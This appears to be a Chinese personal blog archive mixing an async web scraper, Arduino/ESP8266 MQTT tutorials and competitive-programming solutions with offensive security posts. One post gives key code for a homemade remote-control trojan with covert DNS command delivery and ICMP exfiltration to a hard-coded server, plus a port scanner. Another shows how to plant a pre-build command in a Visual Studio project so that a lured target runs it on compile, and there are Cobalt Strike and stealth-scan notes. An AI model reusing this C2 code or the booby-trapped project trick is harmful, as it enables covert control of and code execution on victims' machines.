Author Archives: hausa_han

python异步协程爬虫 编写思路 asyncio aiohttp

昨天接的一个单子,要爬上万个URL,说要快,越快越好。
于是想起来异步协程爬虫,一直想着学但是没学,正好借此学一下

是爬取的lianjia.com的租房房屋信息,没有反爬
除去写文件的耗时,把本来20多分钟的爬取过程降到了40秒
这里主要记录异步协程的编写思路
代码贴在最后

1:实现基本的GET和POST接口

这个接口要包含异常处理等功能,以使程序在收到意料之外的响应时,不至于过于脆弱
一个简单的GET接口实现如下:

# -*- coding: utf-8 -*-
#几个包或变量详见下面的总代码
async def get(url):
    async with semaphore:
        try:
            async with session.get(url) as response:
                return await response.text()
        except aiohttp.ClientError:
            logging.error('Error occurred while getting %s',url,exc_info=True)

2:编写功能实现函数

可以先简单实现一个main函数,要用async修饰(所有涉及到网络IO的函数都需要这样),比如获得一个最初的请求,然后通过分析函数得到一批URL
然后就是实现具体功能函数,可以先用for循环来写,比如:
for url in urls: get_index(url)
注意所有涉及网络IO的函数调用都要带上await

3:将main中的for循环改成协程调用

比如2中的代码就可以改成

indextasks = [asyncio.ensure_future(get_index(url)) for url in urls]
result = await asyncio.gather(*indextasks)

注意这里的返回值不能是两个或多个,只能是一个,可以在函数中打包好再返回
返回的result是每个函数调用的结果组成的list

更多细节可以看下面的代码

读者师傅可以直接套用这个模板来写

# -*- coding: utf-8 -*-

'''
导入各种包,其中:
re.findall用来进行正则匹配
csv用来写csv文件
asyncio和aiohttp用来配合进行异步协程爬虫开发
time用来记录运行时间
logging用来显示错误日志
'''
from re import findall
import csv
import asyncio
import aiohttp
import time
import logging
import operator

#定义基本url和行政区域列表
baseurl = "https://cd.lianjia.com/zufang"
block_list = ["锦江", "青羊", "武侯", "高新", "成华", "金牛", "天府新区", "高新西"]
#定义session和最大允许开启的协程数量,这个数越大,爬的越快
session = None
semaphore = asyncio.Semaphore(8)

'''
这个函数定义了一个基本的用来实现一个使用get方法获取目标网页html文本的接口,相当于requests.get
input: A URL
output: This URL's HTML
'''
async def get(url):
    async with semaphore:
        try:
            logging.info('Getting %s',url)
            async with session.get(url) as response:
                return await response.text()
        except aiohttp.ClientError:
            logging.error('Error occurred while getting %s',url,exc_info=True)


#这个函数用来获取每个行政分区对应的URL
def get_blockurls(html):
    result = []
    for block in block_list:
        block_url = findall(r'href="/zufang(.*?)"  >'+block, html)[0]
        result.append(block_url)
    return result

#这个函数用来获取子区域的区域名
def get_subblock(html):
    result = []
    html = html.replace("\n","").replace("\r","").replace("\t","").replace(" ","")
    temp = findall(r'--level3"><ahref="/zufang(.*?)</a>', html)
    for t in temp:
        result.append(t.split('">')[1])
    return result

#这个函数用来获取每个区域的房间数量
def get_roomnum(html):
    result = 0
    result = findall(r'content__title--hl">(.*?)</span>', html)[0]
    return result

#这个函数获得各个房间的URL
async def get_roomurls(html, num):
    result = []
    pagenum = int((num - (num%30))/30) + 1
    html = html.replace("\n","").replace("\r","").replace("\t","").replace(" ","")
    urls = findall(r'class="content__list--item--aside"target="_blank"href="/zufang(.*?)"title="', html)
    for u in urls:
        result.append(baseurl+u)
    for p in range(2,pagenum+1):
        html = await get(baseurl+"/pg"+str(p)+"/#contentList")
        if not html: continue
        html = html.replace("\n", "").replace("\r","").replace("\t","").replace(" ","")
        urls = findall(r'class="content__list--item--aside"target="_blank"href="/zufang(.*?)"title="', html)
        for u in urls:
            result.append(baseurl+u)
    return result

#这个函数通过正则读出HTML中的信息,并写入文件
async def get_roommessage(html, bname, w2):
    result = {'village':'','style':'','time':'','base':[],'pay':[],'install':[]}
    html = html.replace("\n","").replace("\r","").replace("\t","")
    subname = findall(r'此房源位于成都(.*?)的',html)[0].replace(bname,"")
    basemessage = findall(r'<p class="content__title">(.*?)</p>', html)[0].split('·')[1]
    result['village'] = basemessage.split(' ')[0]
    result['style'] = basemessage.split(' ')[1]
    result['time'] = findall(r'房源维护时间:(.*?)        <!--', html)[0]
    roommessage = findall(r'<li class="fl oneline">(.*?)</li>', html)
    for m in roommessage:
        try:
            result['base'].append(m.split(':')[1])
        except:
            pass
    result['pay'].append(findall(r'<li class="table_col font_gray">(.*?)</li>',html)[0])
    result['pay'].append(findall(r'<li class="table_col font_orange">(.*?)</li>',html)[0])
    result['pay'].append(findall(r'<li class="table_col">(.*?)</li>',html)[5])
    html = html.replace(" ","").replace("(","")
    install = findall(r'</li><liclass="(.*?)"><istyle="background-image:urlhttps://image1',html)
    for i in install:
        if 'flonelinefacility_no' in i:
            result['install'].append('0')
        else:
            result['install'].append('1')
    w2.writerow([bname, subname, result['village'], result['style'], result['time'],result['base'][0],result['base'][1],result['base'][2],result['base'][3],result['base'][4],result['base'][5],result['base'][6],result['base'][7],result['base'][8],result['base'][9],result['base'][10],result['base'][11],result['base'][12],result['pay'][0],result['pay'][1],result['pay'][2],result['install'][0],result['install'][1],result['install'][2],result['install'][3],result['install'][4],result['install'][5],result['install'][6],result['install'][7],result['install'][8],result['install'][9]])

async def get_rooms(html, num, bname, w2):
    #根据数量获取指定数量的房间urls
    if num < 1000:
        room_urls = await get_roomurls(html, num)
    else:
        room_urls = await get_roomurls(html, 1000)
    if not room_urls: return
    for u in room_urls:
        room_r = await get(u)   #爬取每个房URL的HTML
        if not room_r:
            continue
        try:
            room_message = await get_roommessage(room_r, bname, w2)    #筛选并写入每个房间的信息
        except:
            pass

async def geturls(block, bname):
    blockurl = baseurl + block
    block_r = await get(blockurl)
    sub_blocks = get_subblock(block_r)
    return sub_blocks

async def get_message_main(block, bname, w1, w2):
    print("运行了main一次")
    blockurl = baseurl + block          #拼接成区域的完整URL
    block_r = await get(blockurl)       #获取这个URL的HTML
    room_num = get_roomnum(block_r)     #获取每个区域的房间数量
    w1.writerow([bname , room_num])     #写入文件
    result = await get_rooms(block_r, int(room_num), bname, w2)   #爬取每个区域的房间

async def main():
    global session                      #将session扩展为全局变量
    session = aiohttp.ClientSession()   #初始化获得一个session

    #创建文件,写入表头
    f1 = open('file1.csv','w',encoding='utf-8')
    f2 = open('file2.csv','w',encoding='utf-8')
    w1 = csv.writer(f1)
    w2 = csv.writer(f2)
    w1.writerow(['行政区域','挂网租房数量'])

    #获取每个区域的url
    base_r = await get(baseurl)
    block_urls = get_blockurls(base_r)

    #创建并运行协程
    indextasks = [asyncio.ensure_future(get_message_main(block,bname,w1,w2)) for block,bname in zip(block_urls,block_list)]
    result = await asyncio.gather(*indextasks)

    #关闭文件和session
    f1.close()
    f2.close()
    await session.close()

def paicsv():
    data=[]
    reader = csv.reader(open("file2.csv","r"))
    for row in reader:
        data.append(row)
    data.sort()
    with open("file2.csv","w") as f:
        writer = csv.writer(f)
        writer.writerow(['行政区域','区域','小区','房型','房源维护时间','面积','朝向','维护','入住','楼层','电梯','车位','用水','用电','燃气','采暖','租期','看房','付款方式','租金','押金','洗衣机','空调','衣柜','电视','冰箱','热水器','床','暖气','宽带','天然气'])
        for row in data:
            writer.writerow(row)


if __name__ == '__main__':
    start = time.time()
    print("Start at: " , start)
    #运行main函数
    asyncio.get_event_loop().run_until_complete(main())
    end  = time.time()
    print("End at:   " , end)
    print("Time cost:" , end-start)
    paicsv()

以上,共勉

自制远控—DNS+ICMP通信

在Python群里看见一个单子,计算机网络课的课设,要求用Python写一个与网络安全有关的程序;正好自己准备写个远控,所以就接下来了。
用了ICMP+DNS两套协议来加强隐蔽,也正好符合计网学的东西,DNS用来传输命令,ICMP通知上线以及传命令执行的结果。没有什么高级的算法和数据结构,纯基础的拼凑……而且由于是在Linux上写的,转到windows上后又会有很多兼容问题……感兴趣的师傅可以稍微改改。
以下仅记录关键代码,完整代码可以在我的github找到
https://github.com/hausa-han/easy_remote_control/

ICMP服务端

import socket
import struct
rawsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
rawsocket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
cmdresult = []
while True:
    pkt = rawsocket.recvfrom(4096)
    message = pkt[0].decode("utf-8", "ignore")[-48:]
    ip = pkt[1][0]

发ICMP包:

def send_packet(ip, key, message):
    rawsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))
    packet = struct.pack('!BBHHH48s', 8, 0, 0, 1, 0, message.encode('utf-8'))
    chksum = checksum(packet)
    packet = struct.pack('!BBHHH48s', 8, 0, chksum, 1, 0, message.encode('utf-8'))
    rawsocket.sendto(packet, (ip, 0))
def cutmessage(text, lenth):
    result = findall('.{' + str(lenth) + '}', text)
    result.append(text[len(result)*lenth:])
    result[-1] = result[-1]+"@"
    return result

DNS查询:

    a = dns.resolver.Resolver()
    a.nameservers = ["175.24.9.38"]
    a.port = 10086
    cmd = ""
    dnsresult = ""
    servers = ["www.api.baidu.com", "www.zoom.google.vip", "api.pan.baidu.com", "zz.github.org", "video.blowtoheaven.onion"]
    while True:
        try:
            for n in range(0,5):
                sleep(sleep_time)
                if servers[n][-1:] == ".":
                    servers[n] = servers[n][:-1]
                an = a.query(servers[n])
                for i in an.response.answer:
                    for s in i.items:
                        dnsresult = dnsresult + str(s) + "."
            dnsresult = dnsresult.split(".")
            for i in dnsresult:
                if i == "7":
                    break;
                cmd = cmd + chr(int(i))

端口扫描功能:

def scan(ip, key,target):
    result = []
    portlist = [7,9,13,21,22,25,37,53,79,80,88,106,110,113,119,135,139,143,179,199,389,427,443,445,465,513,514,543,548,554,587,631,646,873,990,993,995,1025,1026,1027,1028,1110,1433,1720,1723,1755,1900,2000,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000,6646,7070,8000,8008,8080,8443,8888,9100,9999,32768,49152,49153,49154,49155,49156]
    for port in portlist:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            r = s.connect_ex((target, port))
            if r == 0:
                result.append(str(port))
                print(port)
            else:
                continue
        except Exception as e:
            pass
        finally:
            s.close()
    with open("temp.txt", "w") as f:
        f.write("")
    with open("temp.txt", "w+") as f:
        for i in result:
            f.write(i+"\n")

以上共勉。

SRC思路整理

【总结搬运自各平台文章】
资产发现
ljj的子域名爆破:https://github.com/lijiejie/subDomainsBrute
JSFinder:https://github.com/Threezh1/JSFinder
查询同一公司下的APP:https://www.qimai.cn
spyse:https://spyse.com/
fofa:https://classic.fofa.so
shodan:https://www.shodan.io
微步:https://x.threatbook.cn
友链、IP、厂商的业务信息、网页底部信息+搜索语法、CMS或软件生产公司的指纹
子域名收集的方法:
1:基于SSL证书的查询 http://sensys.io https://crt.sh
2:第三方网站接口查询 https://www.shodan.io https://dnsdb.io/ https://fofa.so
3:github 也许早期的代码会在这里存
4:DNS解析记录
5:子域名枚举
子域名字典:收集各种工具的字典并去重、测试中遇到过的子域名收集起来

爆破
目录爆破:dirsearch
对API或动态文件的参数爆破
静态资源

业务
非普通用户的业务,如商家、合作方
刚上线的业务
1:越权:更改用户识别参数,改cookie、越权访问、修改密码或信息时未校验、越权查看隐私信息等
2:逻辑:验证码有效次数、未将验证码与电话/ID绑定、支付逻辑
3:爆破:弱密码、登录无验证码/python访问每次可获得不同sessionID、用户名爆破、电话/邮箱验证码轰炸

一些基础命令

cobalt
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias xxxxxx -dname “CN=, OU=, O=, L=, ST=, C=”
杀进程:powerpick taskkill /f /pid [pid] /t

linux
tmux new -s cs42
tmux ls
tmux at -t cs42
tmux kill-window -t 16
端口占用:netstat -tunpl | grep [port]
进程详细信息:ps -ef | grep [ID]
查进程:ps aux | grep [keyword]
杀进程:kill -s 9 [ID]

pentest
nslookup

server [ip] 指定DNS服务器
[domain] 解析域名

fierce -dns [domain] 也是用来发现子域名的吧

nmap的一些选项
扫描选项 名称 功能
-g 指定源端口 使用特定的源端口发送数据包
——spoof_mac Mac欺骗 创建虚假Mac地址发送数据包。可以随机化Mac地址

-S 源IP地址 伪造的源IP地址或者告诉Nmap使用哪个IP地址
-e 选择以太网接口 选择哪个网卡发送和接受数据
-F 快速扫描 在Nmap-services文件中将默认扫描缩减到100个端口
-P 确定端口范围 选择扫描的端口
-R 反向LookUP 强制反向lookup
-N DNS解析 执行反向lookup
-n 非DNS解析 不进行反向lookup
-h 帮助文档 提供Nmap的帮助文档
-6 启用IPv6 扫描IPv6
-A 激进型 立刻启用许多扫描选项,比如:版本扫描和脚本扫描。慎用
-T (0-5) 时间选项 指定你想要扫描的激进程度
——scan_delay 添加延迟 在探测之间增加延迟

-sV 服务版本 探测服务软件的版本

扫描类型 名称 功能
-sA ACK扫描 检测端口是否开放。可用于探测防火墙
-sP Ping扫描 快速网络发现
-sR PRC扫描 定位PRC应用。对成功扫描的机器进行记录。这个类型与-sV 类似
-sS TCP SYN扫描 快速和隐蔽的扫描。半开放扫描
-ST TCP扫描 完全建立连接。没有效率,非常明显的扫描,容易引起注意
-sU UDP扫描 确定某个特定的UDP端口是否开放
-sX XMAS扫描 隐蔽扫描,对扫描特定配置的防火墙非常有用。通过RST包来 判断端口是否关闭,扫描UNIX系统效果较好
-sL 列出扫描对象 列出将要扫描出的IP地址。使用-n确保不向网络中发送数据包
-sO IP协议扫描 寻找使用IP协议的主机
-sM FIN/ACK 隐蔽扫描。适用于基于Unix的系统。査找RST数据包
-si 闲置扫描 僵尸主机扫描,非常隐蔽
-sW 窗口扫描 检查RST包的TCP窗口值判定端口是否开放

snmpwalk

利用VS的工程文件执行命令

在知识星球看到一个挺s的操作,感觉很有意思,学习一下。原文链接:https://t.zsxq.com/r37YFAY

方法是在[工程名].vcxproj文件中的所有</Link></ItemDefinitionGroup>之间(共四处)插入prebuild事件:
<PreBuildEvent>
<Command>calc</Command>

</PreBuildEvent>
重新打开项目后,编译,就会执行预编译事件中的命令。如下:

现实场景中可以通过向目标发送VS工程并诱导其进行编译以命令执行。

不知道其他IDE是否有类似功能呢0.0

使用ArduinoIDE烧写ESP8266并实现MQTT通讯

包括以下部分:
1、接线
2、烧写Arduino
3、烧写ESP8266
4、实现MQTT通讯

前置工作:将ESP8266的波特率设置为115200

接线
ESP8266的3V3/VCC 接到 3.3V
ESP8266的EN 串联一个10k电阻 接到3.3V
ESP8266的RX 接到 Arduino的RX0
ESP8266的TX 接到 Arduino的TX1
ESP8266的GND 接地
烧写时,ESP8266的GPIO0 接到GND
运行时,GPIO0悬空

烧写Arduino(这一步可能是多余的。。。)
将以下程序按照之前一样的步骤烧写到Arduino中
const int tx = 1;
const int rx = 0;
void setup() {
  pinMode(rx,INPUT_PULLUP);
  pinMode(tx,INPUT_PULLUP);
  Serial.begin(115200);
  Serial.println("Arduino OK");
  delay(1000);
}
void loop() {
}

烧写ESP8266
在ArduinoIDE中安装ESP8266板子,网上已经有很多安装和设置的教程了,不再赘述。
主要记录在烧写过程中出现的问题:
1、烧写前,需要拔出与电脑连接的数据线,并重新插入。
2、插入后按下Arduino板的复位键不松开,点击IDE中的upload,等待直到出现:Hard resetting via RTS pin…字样后,松开复位键。
3、将GPIO0悬空,打开Serial monitor,重新拔插数据线,可以看到ESP8266 OK字样。
4、只有在Arduino处于长按复位键的过程中ESP8266的串口数据才会传到电脑上来。。所以第二步可能是多余的。。。
5、长按Arduino的复位键,可以看到不断有ESP8266 OK字样输出到电脑。
烧写的测试代码如下:
void setup(){
  Serial.begin(115200);
  delay(1000);
}
void loop(){
  Serial.println("ESP8266 OK");
}

实现MQTT通讯
效果如图:

代码放到CSDN:https://blog.csdn.net/qq_42851946/article/details/113295270

如果您有任何其他理解或疑问,请务必按照首页的联系方式联系在下:-)

ArduinoUNO+ESP8266与MQTT服务器通信

全文包括以下几个部分:
1、搭建/配置/测试MQTT服务端
2、Arduino连接WIFI并使用软串口通信
3、在Arduino实现MQTT的PUB客户端
4、总结

搭建/配置/测试MQTT服务端
服务器用的华为学生云,ubuntu系统,感谢华为云orz
114.116.xxx.xxx
apt-add-repository ppa:mosquitto-dev/mosquitto-ppa
apt-get update
apt-get install mosquitto
cd /etc/mosquitto/conf.d
touch myconfig.conf
vim myconfig.conf
allow_anonymous false
password_file /etc/mosquitto/pwfile.txt
port 1883

mosquitto_passwd -c /etc/mosquitto/pwfile.txt [username]
service mosquitto start

调整服务器的安全组,放行来自1883端口的数据
使用python测试服务器和安全组是否正常:
#sub.py
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
    print("Connect result:" + str(rc))
    client.subscribe("test_topic")
def on_message(client, userdata, msg):
    print(msg.topic+":" +str(msg.payload))
client = mqtt.Client("admin_sub")
client.username_pw_set("[username]","[password]")
client.on_connect = on_connect
client.on_message = on_message
print("Connectting…")
client.connect("114.116.***.***", 1883, 60)
client.loop_forever()


#pub.py
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
    print("Connect result:" + str(rc))
def on_message(client, userdata, msg):
    print(msg.topic + " " + str(msg.payload))
client = mqtt.Client("admin_pub")
client.on_connect = on_connect
client.on_message = on_message
client.connect('114.116.***.***', 1883, 60)
client.publish('test_topic', payload='test_pub_content', qos=0)

可以连接/通讯,如图:

Arduino连接WIFI并使用软串口通信
#include <SoftwareSerial.h>
SoftwareSerial wifiSerial(2, 3);
void setup() {
  Serial.begin(9600);
  wifiSerial.begin(9600);
  while(!Serial);
  while(!wifiSerial);
  wifiSerial.println("AT+CWJAP=\"hausahan\",\"[password]\"");
}
void loop() {
  if(wifiSerial.available()) {
    Serial.write(wifiSerial.read());
  }
  if(Serial.available()){
    wifiSerial.write(Serial.read());
  }
}

在昨天的基础上学习了软串口,原来加一行就可以通信了。。
连接成功了,手机上也可以看到已经连接的设备:

在Arduino实现MQTT的PUB客户端
网上能找到的资料都需要烧写ESP8266,因为怕写坏自己唯一的板子,所以尝试造一次轮子。实现软串口+TCP协议的MQTT客户端,站在别人肩膀上先实现Pub功能。参考:
https://blog.csdn.net/Fredric_2014/article/details/89602457
https://blog.csdn.net/anxianfeng55555/article/details/80908795
最终实现效果及代码:

代码放在了CSDN:https://blog.csdn.net/qq_42851946/article/details/112915356

总结
还是有很多让人疑惑的问题的,比如:
ESP8266很多指令执行后必须等几秒才能进行下一步操作。
也有收获:
每次编程后使用AT+RST进行重置并在烧写完成后复位Arduino能解决很多奇怪的问题。
更理解通信协议、wireshark的使用、、、等知识了
下一步:
考虑多买几块8266,学习对直接使用8266的方法,因为看起来好像很方便,并实现一个远程控制LED的Deeeeeemo
🙂

ArduinoUNO连接ESP8266

折腾了两个小时,网上信息很杂,在这里记录正确的方法,如有问题欢迎通过首页的联系方式来交流。

分为以下四部分:
1:接线
2:测试程序
3:AT指令验证
4:使用软串口

接线
需要各种线+10k电阻*1
ESP8266的3V3/VCC 接到 3.3V
ESP8266的EN            串联一个10k电阻  接到3.3V
ESP8266的RX            接到 Arduino的RX0
ESP8266的TX            接到 Arduino的TX1
ESP8266的GND       接地

测试程序
const int tx = 1;
const int rx = 0;
void setup() {
  pinMode(rx,INPUT_PULLUP);
  pinMode(tx,INPUT_PULLUP);
}
void loop() {
}

AT指令验证
将Serial Monitor调整为Both NL&CR,115200 baud
输入AT,ESP8266蓝色灯光闪烁,返回OK
输入AT+GMR,返回版本等信息
如下:

至此,可以验证连接成功。
一些其他常用的AT命令:
AT+RST 重置wifi模块
AT+CWLAP 扫AP
AT+CWJAP=”SSID”,”PASSWORD” 连接到AP
AT+CWJAP=””,”” 与所有访问点断开连接
AT+CIFSR 显示获得的IP和MAC
AT+UART=9600,8,1,0,0 修改波特率等
AT+CWMODE= 设置工作模式,可有Station\AP\Station+AP三种

使用软串口
修改ESP8266的波特率为9600
假设将2,3分别作为RX,TX
则将ESP8266的RX与3(Arduino的TX)相连,反之亦如此
代码:
#include <SoftwareSerial.h>
SoftwareSerial mySerial(2, 3);
void setup() {
  Serial.begin(9600);
  mySerial.begin(9600);
  mySerial.println("AT+GMR");
}
void loop() {
  while(mySerial.available()) {
    Serial.write(mySerial.read());
  }
}

之后打开Serial Monitor即可看到AT+GMR的执行结果了,但是不能实时发命令,如下图:

先到这里吧,实时发送命令等会再解决,休息会儿,头有点晕。。。

如果您有问题请务必与我交流,联系方式在首页,感谢感谢!

P1008 三连击

#include <iostream>
#include <cstring>
using namespace std;

int main(){
        int a[10]={0};
        int i,j,k;
        bool flag = true;

        for(int n=123; n<329; n++){
                memset(a,0,sizeof(a));
                flag = true;

                i=n; j=n*2; k=n*3;
                for(;i>0;i/=10)
                        a[i%10] = 1;
                for(;j>0;j/=10)
                        a[j%10] = 1;
                for(;k>0;k/=10)
                        a[k%10] = 1;

                for(int m=1; m<10; m++)
                        if(a[m]==0)
                                flag=false;

                if(flag)
                        cout << n << " " << n*2 << " " << n*3 << endl;
        }

        return 0;
}

P2181 对角线

#include <iostream>
using namespace std;

int main()
{
        unsigned long long n,sum;
        cin >> n;
        sum = n*(n-1)/2*(n-2)/3*(n-3)/4;
        cout << sum << endl;
        return 0;
}